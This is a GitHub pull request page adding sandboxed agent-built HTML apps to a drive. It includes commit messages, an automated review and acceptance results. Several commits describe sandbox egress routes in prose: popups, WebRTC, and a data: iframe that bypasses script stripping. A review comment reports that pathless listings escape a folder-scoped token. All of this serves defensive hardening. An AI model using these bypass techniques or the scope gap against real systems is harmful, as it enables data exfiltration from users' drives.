[feat] Run agent HTML apps from the drive - #6972
Conversation
Mount file reads and listings now return the object's etag (null for
folders). PUT honours If-Match and If-None-Match: *, DELETE honours
If-Match; a failed condition is 412 with
{"detail": {"code": "conflict", "etag": <current or null>}}.
No header keeps the unconditional behaviour.
PUT conditions ride natively as S3 headers (verified against the bundled
SeaweedFS); conditional delete is emulated as stat-compare-delete.
MountFileWrittenResponse gains etag; WriteMountFileRequest gains if-match and if-none-match, DeleteMountFileRequest gains if-match, and the mounts client forwards them as request headers. Generated from the app's OpenAPI spec with clients/scripts/generate.sh; only the mounts-scoped delta is kept, the rest of the regen output is unrelated generator drift.
Real bridge behind the lane 0 contract, headless: - stub.ts: the script inlined into the app document. Installs window.agenta, adopts the hello's MessagePort, serialises fs calls to FsRequests (queued until hello), parses readJSON / stringifies writeJSON, rejects with .code and .etag, applies kit tokens as a <style id=agenta-tokens>, forwards window errors and unhandled rejections, intercepts internal link clicks as nav. Plain ES2017 built from a function's source so jsdom tests run the identical string. - host.ts: parent side. hello + port on attach, port-only serving, order isFsRequest -> scope -> grant -> body -> client, implicit If-Match from the etag cache (skipped on force), cache refresh from every result, onWrite on write/remove, changed queued while detached. Matches the mock host's behavioural table. - fsClient.ts: the eight operations against the mounts API. Fern for read (?read=), list (depth 1), exists/stat (parent listing) and delete (If-Match via requestOptions.headers); axios PUT with a raw text/plain body for write. 404/412/413/403 -> not_found/conflict/too_large/read_only, else unavailable; local READ_CAP/WRITE_CAP. - scope.ts, grants.ts, etags.ts: dir join over normalizeAppPath, the sessionStorage-mirrored grant store, the per-path etag cache. Tests: six suites (105 cases); the host runs the mock's table with a fake client so the two provably agree.
Adds the kit stylesheet every agent-built HTML app is assembled with (agenta-app.css, 12px base, KIT_CLASSES only, colour via --ag-* tokens, no url()/@import/@font-face) and resolveKitTokens/tokensToCss, which map KIT_TOKENS onto the host theme variables with light/dark fallbacks. The CSS ships as a generated kitCss.ts string (no raw-css loader in the package toolchain); scripts/sync-kit-css.mjs regenerates it and the unit test fails on drift. Exposed as @agenta/entity-ui/drive/htmlApp/kit.
One sandboxed-iframe story per kit family (type and layout, controls, surfaces, states, board sample, narrow board), each built exactly as the assembler injects it: CSP meta, resolved tokens, KIT_CSS, then markup. Tokens re-resolve when the theme toolbar toggles the .dark class.
axe inside the sandboxed story iframe flagged ok/warn badge text on its
tint and the aria-busy / data-dragging dims below 4.5:1. Badge tone text
now leans 25% toward --ag-fg (5.5:1 light, 4.7-6.4:1 dark), busy dims to
0.7 and dragging to 0.65.
tokensToCss follows the stub's sanitiser (names --[A-Za-z0-9_-]+, values
free of ;{}<>) and the test asserts every emitted token survives it. The
story srcDoc gains lang, a title and a main landmark for the samples.
….tsx Move inlineHtmlAssets, HTML_NAV_INTERCEPTOR and their helpers unchanged into drive/htmlApp/assemble.ts as assemblePreview (mount access injected through AssembleIo, so the function is pure), and make HtmlBody a thin wrapper around the new HtmlAppBody. Three fixtures lock the output byte-for-byte against the pre-move code: the expected strings were captured by running the old function under the same jsdom, and a verbatim copy of it stays in the test.
Behind userScopedFlagAtom(AGENT_APPS_FLAG) the HTML viewer gains a Run tab that mounts the file's folder as an agent HTML app on the bridge host: - assembleRunDocument: the Preview asset inlining, author scripts kept (same-folder script src inlined, external dropped with a note), CSP meta + kit tokens + kit CSS + bridge stub prepended to head. No nav interceptor. - RunView: sandboxed iframe, host attach on load / detach on unmount, status strip (dot, grant, dir), Refresh menu with Reload files, error strip with count badge, expandable list and Copy, in-dir navigation with a back stack, theme observation pushing resolved kit tokens through host.setTheme. - GrantSheet: Read / Read and write, preselected from the manifest, the write option gated by the drive's upload gate, a reserved hidden third section. - useAppManifest reads <dir>/app.json; useChangedHint diffs the app dir's listing query and calls host.notifyChanged; onWrite bumps the listing via refreshMountListing. - HtmlAppEnvContext lets a host (or a story) inject the host factory, mount io, kit CSS, token resolver and grant store. Until lane A lands the default host is the in-memory mock and the stub is a placeholder (TODO(lane A)). Exports userScopedFlagAtom from @agenta/shared/state so a package can own a flag's key.
Fixtures: a retro board written against the kit classes (index.html, app.json, board.json), a two-page site sharing app.js and site.css, and a broken app that throws on load and references a CDN script. createStoryHost wraps the mock so a story can raise the two port-only signals (nav href, script error) from a button; fixtureIo serves the host's live files to the assembler. Stories under @agenta/entity-ui/Drive/HtmlApp: HtmlAppBody (flag off, flag on, granted, loading, unavailable), GrantSheet (read preselected, read-write preselected, write hidden, cancel), RunView (read-only, read-write, error strip, conflict retried, changed hint pending, navigation back stack, not_found data, too_large). HtmlApp.mdx maps each story to its acceptance step and names the lane A placeholders. Re-exports drive/htmlApp from @agenta/entity-ui/drive; joinPath renamed to joinAppPath so it cannot shadow the @agenta/entities/drive export.
axe flags a missing html lang and a missing title. assembleRunDocument now sets lang="en" when the author left it out and appends a <title> (the manifest name, else the file name) when the page has none; the injected CSP/tokens/kit/stub block still leads the head. RunView threads the title through, HtmlAppBody passes the app name. The theme observer's comment now states that the host stamps the theme as the .dark class on the root (that attribute was already watched).
One paragraph after the .tools/ material in "Installing tools": what the folder holds (layout.json, registry/, notes/, starters/, kit/), that it is dimmed, not hidden, in the Files pane, that app data never lives there, and that the agenta-apps skill owns the write rules. Tests pin the paragraph's placement, its records, the data rule, and the section header order. The gateway-connection golden embeds the composed platform text, so its platformInstructions field is regenerated; no other key changed.
Section 08: layout.json on first create_app, per-session registry rewrite, merge-by-slug before creating, add-only notes on repeated feedback, the scheduled-data prompt for agent-level placement, and the no-app-data / no-kit rules. Assembled into SKILL.md by the skill lane.
AppsService resolves bundled starters (name or name@N), copies one into a mount through MountsService.write_file, stamps template into app.json, refuses an existing manifest unless update=True and then leaves the manifest's data files and config alone. validate_manifest mirrors the manifest.ts rules. The board starter is the reference custom app: kit classes only, whole-file debounced writes, conflict merge, read-only and changed handling.
Two reserved tools.agenta.* handlers registered in PLATFORM_TOOL_HANDLERS. create_app resolves the session cwd mount from the run-bound session_id and copies a starter; list_starters unions the bundle with the agent mount's .apps/starters when the run binds an artifact id. The model-facing definitions (description, schema, context bindings, read_only) live next to the handlers as the source for the SDK op catalog entries. Mount access goes through an interim process-wide MountsService factory until dispatch passes the router's instance.
The skill text lives in skill/sections/*.md (1-2 KB units); SKILL.md is checked in for readability and a test asserts it equals the assembly. 06-starters.md is rendered from the bundle so the table cannot drift. The catalogue serves it as __ag__agenta_apps with each starter's SKILL.md under references/starters/. 08-agent-level.md is a placeholder owned by lane F. The two tests that pin the builtin skill set gain the new slug.
Renders api/oss/src/core/apps/starters/board@1 in a sandboxed iframe against createMockHtmlAppHost. The starter files are read at build time through webpack's ?raw rule (raw.d.ts types the query import), so edits show without copies. The fixture carries a story-only bridge stub and kit stylesheet until lanes A and E land. Stories: empty, five cards, read-only grant, conflict on drop (silent agent write), changed arrival (externalWrite), dark via the theme global.
HtmlAppBody defaults to createHtmlAppHost, BRIDGE_STUB and KIT_CSS; the createHost, bridgeStub and kitCss seams stay so stories inject the mock. RunView and assemble drop their own token resolver and tokensToCss for the kit's, and htmlApp re-exports ./kit. The stub keeps color-scheme when it rewrites the token block so native controls follow the theme after hello. Stories use KIT_CSS and BRIDGE_STUB in place of the stand-ins.
The regenerated DeleteMountFileRequest carries if-match, so the fs client stops smuggling the header through requestOptions. getMountFiles is still untyped (no response_model), so the local zod boundary stays.
…ispatch create_app and list_starters now receive the MountsService the entrypoint wires into ToolsRouter; the process-wide factory in handlers.py is gone and a deployment without one answers 501 instead of building its own.
Lane D shipped 08-agent-level.md as a placeholder and sized the body budget against it; lane F's real section is 1.7 KB. Body budget becomes 4.5 KB (total stays 6 KB), the ownership comment no longer reaches the model, rule 5 proposes a schedule only when create_schedule is offered, and SKILL.md is regenerated from the sections.
…text The Files pane dims dot folders and lets the person open them, which is what the .apps/ paragraph already says. The gateway-connection golden embeds the text; only its platformInstructions field changes.
…talog Both join PLATFORM_OPS as handler-mode ops and their call refs join the handler allowlist, so a run can name them as platform tools. The entries copy the API's tool definitions; an API unit test asserts they stay equal and that each handler is registered.
…build kit A playground agent now gets list_starters, create_app (both allow: they act on the session's own drive, which write_files already opens) and the __ag__agenta_apps skill. Unconditional, because the overlay has no drive or feature gate; with the web flag off the result is still a previewable HTML file.
…lived grants The Files pane owns its Source | Preview toolbar and rendered the HTML body with previewOnly, so Run was reachable only from the chat Quick Look. The toolbar gains Run when the flag is on, and HtmlAppBody follows a host-owned view (controlledView) through the same grant sheet. The agent-apps atom moves to @agenta/shared/state so Settings > Preferences on both hosts toggles the instance the viewer reads, without importing the drive bundle. The default grant store is lane A's sessionStorage one: a reload resumes Run without a prompt, a new browser session asks again.
…re faking
The real host dropped the cached etag on notifyChanged, so a write the app
had not merged went out unconditionally and replaced the agent's edit. The
contract and the mock say the opposite: the etag stays, the write conflicts,
the app re-reads and merges. The host now matches.
HtmlAppHost gains an optional onChanged(cb), implemented by both hosts. The
mock gains externalWrite(..., {silent}), emitNav and emitError, which replace
the story host wrapper and the files.set trick in ConflictOnDrop. contracts.md
records the changed rule, the helpers and the stub's token sanitiser.
|
Navigate logical layers of code changes, visualize relationships, and explore their blast radius. 📝 SummarySummary by CodeRabbit
WalkthroughThis change adds Agent Apps support across mount access, app creation, the HTML app bridge, Drive Run mode, settings, tests, documentation, and Storybook. It also adds ETag-based conditional file operations and folder-scoped app tokens. ChangesAgent HTML app backend
HTML app client and UI
Validation and examples
Priority: ➖ Normal Estimated code review effort: 5 (Critical) | ~120 minutes Merge Risk: 🟠 High · up to Agent Apps still has concrete security and data-integrity failure paths that should be corrected before merging, even though the feature is disabled by default. 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
Full details: Docstring CoverageExplanation Docstring coverage is 16.06% which is insufficient. The required threshold is 60.00%. Docstring coverage is scoped to functions touched by this diff. Analyzed 274 functions across 50 files. (56 skipped: 18 unsupported, 38 over the file limit.)
✨ Finishing Touches 💡 1📝 Generate docstrings 💡
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Acceptance pass, EE dev stack,
|
| # | Step | Result |
|---|---|---|
| 1 | Open an HTML file from the drive | Pass. Source | Preview | Run, breadcrumb agent-files / apps / launch-board / index.html |
| 2 | Run in a folder whose app.json says read-write |
Pass. Grant sheet names the app and dir, "Read and write files" preselected. Viewer-role variant not tested (needs a second member) |
| 3 | Grant read-write | Pass. Board renders from board.json; strip reads Running · read + write · apps/launch-board |
| 4 | Move a card | Pass. PUT /mounts/{id}/files?path=apps/launch-board/board.json → 200, Files pane re-lists, server content shows the card moved todo → doing with a new etag |
| 5 | Reload, reopen the file | Pass. Picking Run resumes with no prompt. Note the view itself defaults back to Source; the grant is what persists |
| 6 | Agent adds a card, board updates on its own | Not run. Needs a real agent turn. useChangedHint reacts to a mountDirQueryFamily refetch, which a drive write or the finished-turn revalidation causes. An out-of-band API write is not a valid proxy and correctly produced nothing |
| 7 | Conflict mid-drag | Not run. Not drivable from a headless browser. The path is covered by the mock-host unit tests and by the live 412 check below |
| 8 | Edit as the agent, then Reload files | Pass. Re-reads the folder, no re-prompt |
| 9 | Fixture with <script src> and a CDN tag |
Not run |
| 10 | Sibling link and a link outside the folder | Not run |
| 11 | Read-only grant, then move | Pass. Strip reads Running · read, banner "Read-only: changes are not saved", moved card carries unsaved |
| 12 | Switch theme | Pass. App recolours immediately, no reload, kit accent and badges included |
| 13 | New browser session | Pass. Asks again after the tab-lived grant is cleared |
| 14 | Fresh session, "make me a board" | Not run. Needs an LLM-backed agent turn; the QA project has no provider key |
| 15 | Flag off, repeat 1 | Pass. Source | Preview only, no Run |
| 16 | Storybook Drive/HtmlApp |
Pass for build and coverage: lint clean, build clean, 32 story entries across HtmlAppBody, GrantSheet, RunView, Kit, BoardStarter and the Overview MDX. The a11y runner and the VRT comparison against lane C and E baselines were not run |
Also verified
If-Match against the live API, which is what step 7's retry rests on:
READ apps/launch-board/board.json -> 200 etag=9835c5ef...
PUT If-Match: "deadbeef" -> 412 {"code":"conflict","etag":"9835c5ef..."}
PUT If-Match: 9835c5ef... -> 200
api/oss/tests/pytest/unit: 930 passed. @agenta/entities htmlApp.manifest + htmlApp.mockHost: 40 passed.
Gaps a reviewer should know about
- Only
/mwas exercised. The desktop host was not. - Steps 6, 7 and 14 all need a live agent turn, so the agent-facing half of the feature (
create_app, the registry file, thechangedpush during a turn) has unit coverage but no end-to-end run. - Two false alarms during the pass were my fixture, not the code: the starter wants
{columns: [{id, title, cards: [{id, text}]}]}, and cards key ontext. The starter'sSKILL.mddocuments both correctly, so an agent following it gets it right.
Width coverage on
|
The server half landed in the previous commit and nothing used it. The host now mints a token for its mount, folder and grant level, and all five fs operations carry it as `X-Agenta-App-Scope` — the four Fern calls through requestOptions, the axios write beside its If-Match. The point is that this file stops being the only thing standing between an app and the rest of the drive. It still resolves the path and checks the grant; the difference is that a mistake in either is now refused by the API instead of served. That is what the popup and WebRTC fixes could not buy: those closed two exits, and the exit list never finishes. A failure to mint returns null and the app runs unscoped. The token only ever narrows, so its absence is exactly the behaviour that shipped before it existed — refusing to open an app because a token endpoint is missing would trade a defence-in-depth layer for an outage. One mint per mount+dir+level, shared across a burst of parallel boot reads, and re-minted a minute before expiry so a long-open app never lands on a lapsed token. The mint call uses axios because the endpoint postdates the last Fern generation. It belongs in the same regeneration that gives `writeMountFile` a body; both are why this module touches axios at all, and both close together.
…al was wrong The recorded decision was "no server-side folder check in v1, by design; a scoped token if apps ever become shareable". The reasoning behind it was that an escape had no payoff because the app had no way to get data out. That was false twice. Popups went out through a channel no CSP directive governs; WebRTC went out through another. Both were found by thinking of one more exit, which is not a method that finishes — the surface grows every browser release, and a blocklist is only as good as the last person who looked. So the deferral is withdrawn rather than left standing as the decision, and the egress table now says what it is: a record of what is closed, never a proof that nothing is open. The table gains the WebRTC row and the measurement behind it. The section gains the reason the prefix check exists: an app that cannot obtain bytes outside its folder makes the exit list stop being load-bearing. The table still matters, because an app can always leak the folder it was granted — the difference is that the damage is now bounded by what the person chose to show it, rather than by whether the page got every path right.
…ite included Mahmoud's question 3 asked which mounts client methods should back the bridge, and his own answer ruled out the workaround we shipped: "Existing binary download code uses Axios because Fern JSON parsing cannot preserve bytes; that exception does not automatically apply to new text file methods." The reason it happened anyway was real. `write_mount_file` reads its body with `await request.body()`, which FastAPI cannot see, so the spec described a PUT with no body and the generated method duly sent none — calling it would have written an empty file. The scope-token endpoint then added a second axios call for the same reason. Both are closed here. The route declares its body for OpenAPI only, through `openapi_extra`: the runtime read is untouched, so behaviour is byte-identical and the 255 mount tests are unchanged. With the body in the spec, Fern emits a method that carries it, and `write` and the token mint both move onto the generated client. No hand-built URLs are left in the bridge. Two things a reader should know. Fern drops declared header params from an endpoint that takes a binary body, so `If-Match` travels in `requestOptions.headers` on write while staying a typed field on delete. And the regeneration is deliberately narrowed to the mounts resource, per the build plan: a full regen also pulls in unrelated drift, and `GatewayPermissions` turning optional breaks the DrillIn schema controls. That client is stale and deserves its own regeneration with the consumers fixed — not a ride-along here.
Preview strips every agent script and then renders with allow-popups, and the first half was being read as the reason the second half was safe. It is not. The stripper clears iframe[srcdoc] but never touched iframe[src="data:text/html,..."]. That nested context inherits allow-scripts from the preview sandbox, so its script runs even though the outer document has none left, and Preview injected no CSP at all, so it could fetch anywhere. Verified against the real flags: the request arrived at a listening server with its query string intact. object[data] and embed execute the same way, so adding iframe[src] to the strip list would have moved the vector rather than closed it. PREVIEW_CSP denies the capability instead of chasing the elements: frame-src and object-src close the nested contexts, and default-src 'none' covers connect-src so a context that somehow runs still has no way out. Re-run of the same probe with the policy in place: nothing ran, nothing arrived. Wider than RUN_CSP in one place on purpose. inlineAssets only folds in same-mount assets and leaves external URLs alone, so drive HTML that links a remote stylesheet, image or font renders today and keeps rendering. The move-lock test now compares through withoutCsp, so it still guards the inlining byte-for-byte while the policy is asserted on its own.
The egress section described Run and never said so, so 'no allow-popups' read as global. Preview keeps both popup flags, and what was standing in for them was the script stripper - which never covered a data: iframe. Names the vector, the measurement, and why PREVIEW_CSP denies the capability rather than lengthening the strip list. Also states the cost: a page embedding a legitimate iframe no longer renders that frame in Preview.
|
@coderabbitai review |
✅ Action performedReview finished.
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 7
🧹 Nitpick comments (2)
web/packages/agenta-entities/tests/unit/htmlApp.host.test.ts (1)
732-744: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winRun the window-message probe in a browser-like environment.
The package defaults to the
nodeenvironment, sowindowis undefined and the guard skipswindow.postMessage. The test then checks an empty call list without exercising window-message rejection. Add the jsdom pragma or remove the guard so the test fails ifwindowis unavailable.♻️ Proposed fix
+// `@vitest-environment` jsdom /** * The real host against a fake fs client. Part 1 is the SAME behavioural table as- if (typeof window !== "undefined") { - window.postMessage({v: 1, id: 1, method: "read", path: "index.html"}, "*") - } + window.postMessage({v: 1, id: 1, method: "read", path: "index.html"}, "*")Source: Linters/SAST tools
web/packages/agenta-entities/tests/unit/htmlApp.egress.test.ts (1)
64-73: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winAssert the emitted neutralization, not just the identifier.
BRIDGE_STUBcontains each identifier inRTC_GLOBALSand comments, sotoContain(name)does not prove that the stub neutralizes it. The normal path usesObject.defineProperty(window, RTC_GLOBALS[r], ...);deleteis only a fallback and uses a dynamic index, so the proposed deletion regex does not match the emitted implementation.♻️ Proposed stricter assertion
- it("removes every peer-connection constructor in the stub", () => { + it("neutralizes every peer-connection constructor in the stub", () => { for (const name of [ "RTCPeerConnection", "webkitRTCPeerConnection", "mozRTCPeerConnection", "RTCDataChannel", ]) { - expect(BRIDGE_STUB).toContain(name) + expect(BRIDGE_STUB).toMatch( + new RegExp( + `var RTC_GLOBALS = \\[[\\s\\S]*"${name}"[\\s\\S]*\\][\\s\\S]*` + + `Object\\.defineProperty\\(window, RTC_GLOBALS\\[r\\], \\{[\\s\\S]*` + + `value: undefined,[\\s\\S]*configurable: false,[\\s\\S]*writable: false,`, + ), + ) }
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Advanced
Run ID: 90515dc5-b990-43d6-abf4-0f90729f5dc9
⛔ Files ignored due to path filters (9)
web/packages/agenta-api-client/src/generated/api/resources/mounts/client/Client.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/AppScopeRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/DeleteMountFileRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/GetMountFilesRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/WriteMountFileRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/index.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/AppScopeResponse.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/MountFileWrittenResponse.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/index.tsis excluded by!**/generated/**
📒 Files selected for processing (106)
api/entrypoints/routers.pyapi/oss/src/apis/fastapi/mounts/models.pyapi/oss/src/apis/fastapi/mounts/router.pyapi/oss/src/apis/fastapi/tools/router.pyapi/oss/src/core/apps/__init__.pyapi/oss/src/core/apps/assembly.pyapi/oss/src/core/apps/handlers.pyapi/oss/src/core/apps/scope_token.pyapi/oss/src/core/apps/service.pyapi/oss/src/core/apps/skill/SKILL.mdapi/oss/src/core/apps/skill/sections/01-when.mdapi/oss/src/core/apps/skill/sections/02-first.mdapi/oss/src/core/apps/skill/sections/03-folder.mdapi/oss/src/core/apps/skill/sections/04-bridge.mdapi/oss/src/core/apps/skill/sections/05-custom-rules.mdapi/oss/src/core/apps/skill/sections/06-starters.mdapi/oss/src/core/apps/skill/sections/07-after.mdapi/oss/src/core/apps/skill/sections/08-agent-level.mdapi/oss/src/core/apps/starters/board@1/SKILL.mdapi/oss/src/core/apps/starters/board@1/app.jsonapi/oss/src/core/apps/starters/board@1/config.defaults.jsonapi/oss/src/core/apps/starters/board@1/index.htmlapi/oss/src/core/mounts/dtos.pyapi/oss/src/core/mounts/service.pyapi/oss/src/core/mounts/types.pyapi/oss/src/core/store/dtos.pyapi/oss/src/core/store/storage.pyapi/oss/src/core/store/types.pyapi/oss/src/core/tools/platform_handlers.pyapi/oss/src/core/workflows/build_kit.pyapi/oss/src/core/workflows/static_catalog.pyapi/oss/tests/pytest/unit/applications/test_build_kit_overlay.pyapi/oss/tests/pytest/unit/apps/__init__.pyapi/oss/tests/pytest/unit/apps/conftest.pyapi/oss/tests/pytest/unit/apps/test_create_app.pyapi/oss/tests/pytest/unit/apps/test_list_starters.pyapi/oss/tests/pytest/unit/apps/test_op_catalog_parity.pyapi/oss/tests/pytest/unit/apps/test_scope_token.pyapi/oss/tests/pytest/unit/apps/test_skill_assembly.pyapi/oss/tests/pytest/unit/apps/test_starter_manifest.pyapi/oss/tests/pytest/unit/mounts/test_mount_file_conditional_routes.pyapi/oss/tests/pytest/unit/mounts/test_protected_mount_policy.pyapi/oss/tests/pytest/unit/mounts/test_store_conditional_ops.pyapi/oss/tests/pytest/unit/skills/test_registry_listing.pyapi/oss/tests/pytest/unit/test_mounts_file_ops.pyapi/oss/tests/pytest/unit/workflows/test_static_catalog.pydocs/design/agent-html-apps/contracts.mdsdks/python/agenta/sdk/agents/platform/op_catalog.pysdks/python/agenta/sdk/agents/platform_instructions.pysdks/python/oss/tests/pytest/unit/agents/golden/run_request.gateway_connection.jsonsdks/python/oss/tests/pytest/unit/agents/platform/test_op_catalog.pysdks/python/oss/tests/pytest/unit/agents/test_platform_instructions.pyweb/mobile/src/features/settings/PreferencesTab.tsxweb/oss/src/components/pages/settings/Preferences/Preferences.tsxweb/packages/agenta-entities/src/drive/htmlApp/etags.tsweb/packages/agenta-entities/src/drive/htmlApp/fsClient.tsweb/packages/agenta-entities/src/drive/htmlApp/grants.tsweb/packages/agenta-entities/src/drive/htmlApp/host.tsweb/packages/agenta-entities/src/drive/htmlApp/index.tsweb/packages/agenta-entities/src/drive/htmlApp/manifest.tsweb/packages/agenta-entities/src/drive/htmlApp/mockHost.tsweb/packages/agenta-entities/src/drive/htmlApp/protocol.tsweb/packages/agenta-entities/src/drive/htmlApp/scope.tsweb/packages/agenta-entities/src/drive/htmlApp/scopeToken.tsweb/packages/agenta-entities/src/drive/htmlApp/stub.tsweb/packages/agenta-entities/src/drive/index.tsweb/packages/agenta-entities/tests/unit/htmlApp.egress.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.etags.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.fsClient.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.grants.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.host.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.manifest.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.mockHost.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.scope.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.scopeToken.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.stub.test.tsweb/packages/agenta-entity-ui/package.jsonweb/packages/agenta-entity-ui/scripts/sync-kit-css.mjsweb/packages/agenta-entity-ui/src/drive/DriveExplorer.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/GrantSheet.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/HtmlAppBody.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/RunView.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/assemble.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/index.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/agenta-app.cssweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/index.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/kitCss.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/tokens.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/useAppManifest.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/useChangedHint.tsweb/packages/agenta-entity-ui/src/drive/index.tsweb/packages/agenta-entity-ui/src/drive/renderers.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.assemble.test.tsweb/packages/agenta-entity-ui/tests/unit/htmlApp.grantEscalation.test.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.kit.test.tsweb/packages/agenta-shared/src/state/featureFlags.tsweb/packages/agenta-shared/src/state/index.tsweb/storybook/fixtures/boardStarter.tsweb/storybook/fixtures/htmlApp.tsweb/storybook/raw.d.tsweb/storybook/stories/entity-ui/htmlApp/BoardStarter.stories.tsxweb/storybook/stories/entity-ui/htmlApp/GrantSheet.stories.tsxweb/storybook/stories/entity-ui/htmlApp/HtmlApp.mdxweb/storybook/stories/entity-ui/htmlApp/HtmlAppBody.stories.tsxweb/storybook/stories/entity-ui/htmlApp/Kit.stories.tsxweb/storybook/stories/entity-ui/htmlApp/RunView.stories.tsx
Included review availability: Your plan provides up to 8 included reviews per hour; 6 remain after this review.
| x_agenta_app_scope: Optional[str] = Header(default=None), | ||
| ): | ||
| await self._check(request, Permission.VIEW_MOUNTS) | ||
| enforce_app_scope( | ||
| token=x_agenta_app_scope, | ||
| project_id=UUID(request.state.project_id), | ||
| mount_id=mount_id, | ||
| path=read if read is not None else path, | ||
| writing=False, | ||
| ) |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
🔎 Supported by static analysis
🏁 Script executed:
sed -n '620,675p' api/oss/src/apis/fastapi/mounts/router.py
sed -n '150,185p' api/oss/src/core/apps/scope_token.py
rg -n "get_mount_files|apps/scope|X-Agenta-App-Scope|pathless|scope.*list|folder-scoped" api/oss/tests/pytest/unit/mounts api/oss/src/core/apps docs/design/agent-html-apps/contracts.md web/packages/agenta-entities/src/drive/htmlAppRepository: Agenta-AI/agenta
Length of output: 4156
🏁 Script executed:
#!/bin/bash
set -e
printf '%s\n' '--- route and authorization bindings ---'
rg -n "def _check|def get_mount_files|list_files\(" api/oss/src/apis/fastapi/mounts/router.py api/oss/src/core api/oss/src/dbs | head -80
sed -n '620,710p' api/oss/src/apis/fastapi/mounts/router.py
printf '%s\n' '--- scope helper ---'
cat -n api/oss/src/core/apps/scope_token.py | sed -n '1,230p'
printf '%s\n' '--- documented contract ---'
sed -n '220,310p' docs/design/agent-html-apps/contracts.md
printf '%s\n' '--- frontend scope/list contract ---'
cat -n web/packages/agenta-entities/src/drive/htmlApp/fsClient.ts | sed -n '1,130p'
cat -n web/packages/agenta-entities/src/drive/htmlApp/scope.ts | sed -n '1,130p'
printf '%s\n' '--- route tests and list implementation references ---'
rg -n -C 4 "get_mount_files|list_files|path.*None|allowRoot|X-Agenta-App-Scope|ScopeToken" api/oss/tests api/oss/src/core/mounts api/oss/src/apis/fastapi/mounts docs/design/agent-html-apps/contracts.mdRepository: Agenta-AI/agenta
Length of output: 50374
🏁 Script executed:
set -e
sed -n '640,705p' api/oss/src/apis/fastapi/mounts/router.py
rg -n -C 5 "def _check|def list_files|async def list_files|allowRoot|X-Agenta-App-Scope|folder-scoped|path is None|scope" api/oss/src/apis/fastapi/mounts api/oss/src/core api/oss/tests docs/design/agent-html-apps/contracts.md web/packages/agenta-entities/src/drive/htmlAppRepository: Agenta-AI/agenta
Length of output: 50373
🏁 Script executed:
set -e
printf '%s\n' '--- authorization ---'
sed -n '345,375p' api/oss/src/apis/fastapi/mounts/router.py
printf '%s\n' '--- list service contract and path flow ---'
sed -n '1044,1165p' api/oss/src/core/mounts/service.py
printf '%s\n' '--- route registration ---'
sed -n '300,323p' api/oss/src/apis/fastapi/mounts/router.py
printf '%s\n' '--- focused no-path tests ---'
sed -n '640,670p' api/oss/tests/pytest/unit/test_mounts_file_ops.py
sed -n '820,838p' api/oss/tests/pytest/unit/test_mounts_file_ops.pyRepository: Agenta-AI/agenta
Length of output: 10861
Constrain pathless listings to the app token prefix. A caller must pass the normal VIEW_MOUNTS check, but it can omit both path and read. The route then passes path=None to enforce_app_scope, which skips the prefix check, and to list_files, which returns the whole mount tree. Resolve the token prefix as the effective path when a scoped token has no query path, and pass that path to both operations. Requests without an app token must retain their existing project-permission behavior.
| `version`, stop and say so. Do not guess at a migration. | ||
| 2. **After every app event in this session** (create, update, archive): rewrite | ||
| `agent-files/.apps/registry/<session_id>.json` whole, as | ||
| `{"version": 1, "session_id": "<id>", "apps": [{"slug", "path", "template", "created_at", |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
Use valid JSON in every persisted-file example. The current examples use bare object keys. An agent can copy them into drive files, causing later JSON parsing to fail.
api/oss/src/core/apps/skill/sections/08-agent-level.md#L12-L12: quote registry keys and use valid placeholder values.api/oss/src/core/apps/skill/SKILL.md#L71-L71: keep the aggregate registry example valid and identical to the source section.api/oss/src/core/apps/starters/board@1/SKILL.md#L12-L12: quote allboard.jsonkeys and show valid JSON syntax.
📍 Affects 3 files
api/oss/src/core/apps/skill/sections/08-agent-level.md#L12-L12(this comment)api/oss/src/core/apps/skill/SKILL.md#L71-L71api/oss/src/core/apps/starters/board@1/SKILL.md#L12-L12
|
|
||
| function normaliseConfig(raw) { | ||
| const cols = raw && Array.isArray(raw.columns) | ||
| ? raw.columns.filter((c) => c && typeof c.id === "string") |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
Reject duplicate column IDs before normalizing the board.
